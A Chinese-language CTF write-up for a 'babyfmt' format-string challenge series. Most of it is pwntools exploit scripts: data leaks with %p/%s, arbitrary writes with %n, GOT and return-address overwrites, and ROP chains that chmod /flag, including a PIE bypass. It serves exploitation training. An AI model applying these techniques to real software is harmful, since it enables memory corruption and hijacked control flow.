1. leak data
1.1 data存储在栈上
对于我们要泄露的data直接存储在栈上,我们可以下断点在 格式化字符串漏洞的函数的 被调用点,这样可以观察栈的布局,得知要打印第几个参数,打印即可
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch ='amd64'
binary_path = './babyfmt_level1.0'
p = process(binary_path)
p.recvuntil(b"Send your data!")
p.sendline(b"%6$p %7$p")
p.recvuntil(b"0x")
secert1 = int(p.recvuntil(b" ").strip(b" "),16)
secert2 = int(p.recvline().strip(b"\n").ljust(8,b"\x00"),16)
print(p64(secert1)+p64(secert2))
p.interactive()
1.2 指向data的指针存放在栈上
对于我们要泄露的data的指针存储在栈上,我们可以下断点在 格式化字符串漏洞的函数的 被调用点,这样可以观察栈的布局,得知要打印第几个参数,打印即可
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch ='amd64'
binary_path = './babyfmt_level2.1'
p = process(binary_path)
p.recvuntil(b"Send your data!")
gdb.attach(p,"b *$rebase(0x14CE)")
pause()
p.sendline(b"%7$s")
p.recvuntil(b"I will now call printf on your data!")
p.recvline()
p.recvline()
secret = p.recvline()
log.success(f"secret: {secret}")
p.recvuntil(b"What is the secret password?")
p.sendline(secret)
p.interactive()
1.3 data和指向data的指针不放在栈上,但是fmt在栈上
在这种情况下,如果我们能够知道data的地址,就可以将其写入fmt中,由其帮我们打印data
没有地址,就创造地址!
from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch ='amd64'
context.terminal = ['tmux','splitw','-h']
binary_path = './babyfmt_level3.1'
p = process(binary_path)
gdb.attach(p,"b *0x401468")
pause()
p.sendline(b"aa%23$s"+p64(0x404100))
p.interactive()
2. write data
2.1 指向data的指针不在栈上,但fmt在栈上
如果我们能够知道data的地址,那么就能够将其写入fmt中,利用%6$n
等手段来往其中写入值
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux','splitw','-h']
binary_path = "./babyfmt_level4.1"
p = process(binary_path)
p.recvuntil(b"I will now read up to 256 bytes. Send your data!")
gdb.attach(p,"b *0x4014B4")
pause()
payload = b"%234x%25$n"+b"a"*4+p64(0x4040D8)
p.send(payload)
p.interactive()
2.1.1 特例: 写一个超大值
如果你需要在某个地址处,写一个8字节的值,可以考虑将其切片成2+2+2+2的形式,否则直接打印一个八字节数量的字符串,很可能撑爆你的terminal!
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal=['tmux','splitw','-h']
#binary_path = './babyfmt_level5.1'
binary_path = '/challenge/babyfmt_level5.1'
p = process(binary_path)
#gdb.attach(p,"b *0x4014D6")
#pause()
p.recvuntil(b"Send your data!")
payload = b"%5575x%38$hn%4770x%39$hn%9x%40$hn%2650x%41$hn"+p64(0x404148+0) + p64(0x404148+4) + p64(0x404148+6) + p64(0x404148+2) # 分成2+2+2+2的形式,并对值进行排序
p.send(payload)
p.interactive()
3. leak and write
3.1 fmt在栈上,一次printf,泄露某个地址的值,并写入另一个地址
借助%*73$c
的力量,能够打印第73个参数(实际上是printf的第74个参数)的值,并通过%31$n
写入第31个参数所指向的内存中。
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']
binary_path = './babyfmt_level6.1'
p = process(binary_path)
gdb.attach(p,"b *0x401526")
pause()
p.recvuntil(b"Send your data!\n")
payload = (b"%*73$c"+b"%31$n")
payload = payload.ljust(17,b"a")
payload += p64(0x404130)
p.send(payload)
p.interactive()
3.2 fmt在栈上,一次printf写got表,劫持控制流
与3.1的原理是一样的
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
# context.terminal=['tmux','splitw','-h']
binary_path = './babyfmt_level7.1'
p = process(binary_path)
binary = p.elf
#gdb.attach(p,"b *0x401491")
#pause()
payload = b"%*36$c%37$ln".ljust(16,b"a")
payload += p64(0x40133D) # func_addr you want to call
payload += p64(0x404088) # strstr got
p.recvuntil(b"vulnerability:")
p.send(payload)
p.interactive()
3.3 fmt在栈上,二次printf改ret值
核心思路,利用第一次printf先打泄露栈地址的值和程序基址;利用第二次printf修改ret值,完成利用
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']
binary_path = './babyfmt_level8.1'
p = process(binary_path)
binary = p.elf
#gdb.attach(p,"b *$rebase(0x149C)")
#pause()
p.recvuntil(b"Have fun!\n")
payload = b"%7$p\n%157$p"
p.send(payload)
p.recvuntil(b"Your input is: \n")
stack_addr = int(p.recvline().strip(b"\n"),16)
ret_addr = stack_addr + 0x3f9+8
log.success(hex(ret_addr))
program_addr = int(p.recv(14).strip(b"\n"),16)-0x1622
log.success(hex(program_addr))
win_func = (program_addr + 0x1350)&0xffff
payload = b"%*32$c%31$hn".ljust(17,b"a")+p64(ret_addr)+p64(win_func-23)
p.send(payload)
p.interactive()
3.4 fmt+rop
这也是一个有难度的点
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal=['tmux','splitw','-h']
#libc_path = "./libc-2.31.so"
#binary_path = './babyfmt_level10.1'
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
binary_path = "/challenge/babyfmt_level10.1"
p = process(binary_path)
binary = p.elf
libc = ELF(libc_path)
exit_got = 0x404068
loop_addr = 0x4012BD
memset_got = 0x404048
pop_rsi_r15_ret = 0x00000000004015a1
pop_rdi_ret = 0x00000000004015a3
leave_ret = 0x000000000040153e
#gdb.attach(p,"b *0x4013B6\n")
#pause()
# 1. leak address & *exit_got = loop_addr
payload = b"%*59$c%60$ln".ljust(16+3,b"a")
payload += b"%7$p".ljust(8,b"a")
payload += b"%58$s".ljust(8,b"a")
payload += p64(memset_got)+p64(loop_addr-0x2d) + p64(exit_got)
payload += b"/flag\x00\x00\x00"
p.send(payload)
p.recvuntil(b"a"*7)
leak_stack_addr = int(p.recv(14),16)
log.success(f"leak_stack_addr: {hex(leak_stack_addr)}")
p.recvuntil(b"a"*4)
leak_libc_addr = u64(p.recv(6).ljust(8,b"\x00"))
log.success(f"leak_libc_addr: {hex(leak_libc_addr)}")
flag_addr = leak_stack_addr+len(payload)-0x8
log.success(f"flag_addr: {hex(flag_addr)}")
# 2. double leave ret & rop
libc.address = leak_libc_addr-0x18bd90
rbp = leak_stack_addr-0x18d
rop_addr = leak_stack_addr-0x52d
payload = b"%*59$c%60$hn".ljust(16+3,b"a") # step 1: *rbp= rop_addr
payload += b"%*61$c%62$ln%63$ln".ljust(24,b"a") # step 2: *exit_got = leave_ret_addr; *(rbp+8) = leave_ret_addr
payload += p64((rop_addr&0xffff)-0x2d)+p64(rbp)
payload += p64(leave_ret-(rop_addr&0xffff)-7)+p64(exit_got) + p64(rbp+0x8)
payload += p64(0)+p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_r15_ret)+p64(511)+p64(0)+p64(libc.symbols['chmod'])
p.send(payload)
p.interactive()
3.4.1 fmt+rop:但是PIE
绕过pie需要题目至少提高给你2次fmt的机会
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']
libc_path = "./libc-2.31.so"
binary_path = './babyfmt_level11.0'
#libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
#binary_path = "/challenge/babyfmt_level11.0"
p = process(binary_path)
binary = p.elf
libc = ELF(libc_path)
gdb.attach(p,"b *$rebase(0x169A)\n b *$rebase(0x1638)")
pause()
# step 1: leak program_addr libc_addr stack_addr
payload = b"%3$p".ljust(8,b"a") #libc_addr
payload += b"%7$p".ljust(8,b"a") #stack_addr
payload += b"%199$p".ljust(8,b"a") # program_addr
p.send(payload)
p.recvuntil(b"Your input is: \n")
libc_addr = int(p.recvuntil(b"aaaa").strip(b"aaaa"),16)
stack_addr = int(p.recvuntil(b"aaaa").strip(b"aaaa"),16)
program_addr = int(p.recvuntil(b"aa").strip(b"aa"),16)
log.success(f"libc_addr: {hex(libc_addr)}")
log.success(f"stack_addr: {hex(stack_addr)}")
log.success(f"program_addr: {hex(program_addr)}")
libc_base = libc_addr - 0x10e297
libc.address = libc_base
program_base = program_addr - 0x183f
log.success(f"libc_base: {hex(libc_base)}")
log.success(f"program_base: {hex(program_base)}")
rop_start_addr = stack_addr - 0x206 # return of printf: because the func ends with exit(),so use printf's stack_frame to rop
log.success(f"rop_start_addr: {hex(rop_start_addr)}")
rbp_addr = stack_addr + 0x402
log.success(f"rbp_addr: {hex(rbp_addr)}")
# 在程序调用printf打印字符串时,将其返回地址修改为leave ret的地址
# 将rbp存储的地址中的值,改为rop的地址
# step 2: fmt to rop
pop_rdi_ret = (0x00000000000018c3 + program_base)
pop_rsi_r15_ret = (0x00000000000018c1 + program_base)
add_rsp_8_ret = (0x0000000000001016 + program_base)
pop_rsp_r13_rbp_ret = (0x0000000000001487 + program_base)
leave_ret = (0x0000000000001850 + program_base)
payload = b"%*74$c%75$hn"
payload += b"%*76$c%77$hn"
payload = payload.ljust(0x20+2,b"a")
payload += p64((leave_ret-0x1e)&0xffff)+p64(rop_start_addr)
payload += p64((stack_addr+0x22+0x10+0x10-(leave_ret&0xffff))&0xffff) + p64(rbp_addr)
payload += p64(0)+p64(pop_rdi_ret)+p64(stack_addr+0x22+0x10+0x10+0x38)+ p64(pop_rsi_r15_ret)+p64(511)+p64(0)+p64(libc.symbols["chmod"])
payload += b"/flag\x00\x00\x00"
p.send(payload)
p.interactive()
3.4.2 fmt+rop+PIE:但是不能输入$符号
这对于fmt的利用来说可以说是晴天霹雳了,在不输入$
符号的情况下,如何利用fmt完成rop的执行呢?
这就不得不提到pwntools
里的强强工具fmtstr_payload
了
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']
libc_path = "./libc-2.31.so"
binary_path = './babyfmt_level12.1'
#libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
#binary_path = "/challenge/babyfmt_level12.1"
p = process(binary_path)
binary = p.elf
libc = ELF(libc_path)
gdb.attach(p,"b *$rebase(0x1481)\n b *$rebase(0x14EC)")
pause()
payload = b""
for i in range(157):
payload += b"%p".ljust(5,b"a")
p.send(payload)
# step 1: leak addr
for i in range(145):
p.recvuntil(b"aaa")
## %146$p is stack_addr
stack_addr = int(p.recv(14),16)
## %147$p is program_addr
p.recvuntil(b"aaa")
program_addr = int(p.recv(14),16)
for i in range(157-147):
p.recvuntil(b"aaa")
## %157%p is libc_addr
libc_addr = int(p.recv(14),16)
log.success(f"libc_addr: {hex(libc_addr)}")
log.success(f"stack_addr: {hex(stack_addr)}")
log.success(f"program_addr: {hex(program_addr)}")
program_base = program_addr - 0x1678
libc_base = libc_addr - 0x24083
libc.address = libc_base
log.success(f"libc_base: {hex(libc_base)}")
log.success(f"program_base: {hex(program_base)}")
# step 2: rop
leave_ret = 0x0000000000001689 + program_base
pop_rdi_ret = 0x00000000000016f3 + program_base
pop_rsi_r15_ret = 0x00000000000016f1 + program_base
writes = {(stack_addr-0x4b8): leave_ret, # printf ret addr:即调用printf后的返回地址修改为leave ret
(stack_addr-0x50): stack_addr-0x200, # rop_start #将(stack_addr-0x50),即rbp指向的栈空间的值,修改为stack_addr-0x200,为rop的起始地址
}
payload = b"a".ljust(5,b"a") # stack align,对齐
# offset其实指的是 fmtstr_payload在栈中的起始地址,属于printf的第几个参数, numbwritten就是在fmtstr_payload开始前,printf已经打印了多少字节, no_dollars告诉它生成不带$符号的格式化字符串
payload += fmtstr_payload(offset=28,writes=writes,numbwritten=112,no_dollars=True)
payload = payload.ljust(0x205,b"a") # fmtstr_payload生成的长度不定,这里固定为0x200,5是前面的padding
payload += p64(0)+p64(pop_rdi_ret)+p64(stack_addr-0x200+0x8*7) + p64(pop_rsi_r15_ret) + p64(511)+p64(0)+p64(libc.symbols["chmod"]) # rop
payload += b"/flag\x00\x00\x00"
print(payload)
print(len(payload))
p.send(payload)
p.interactive()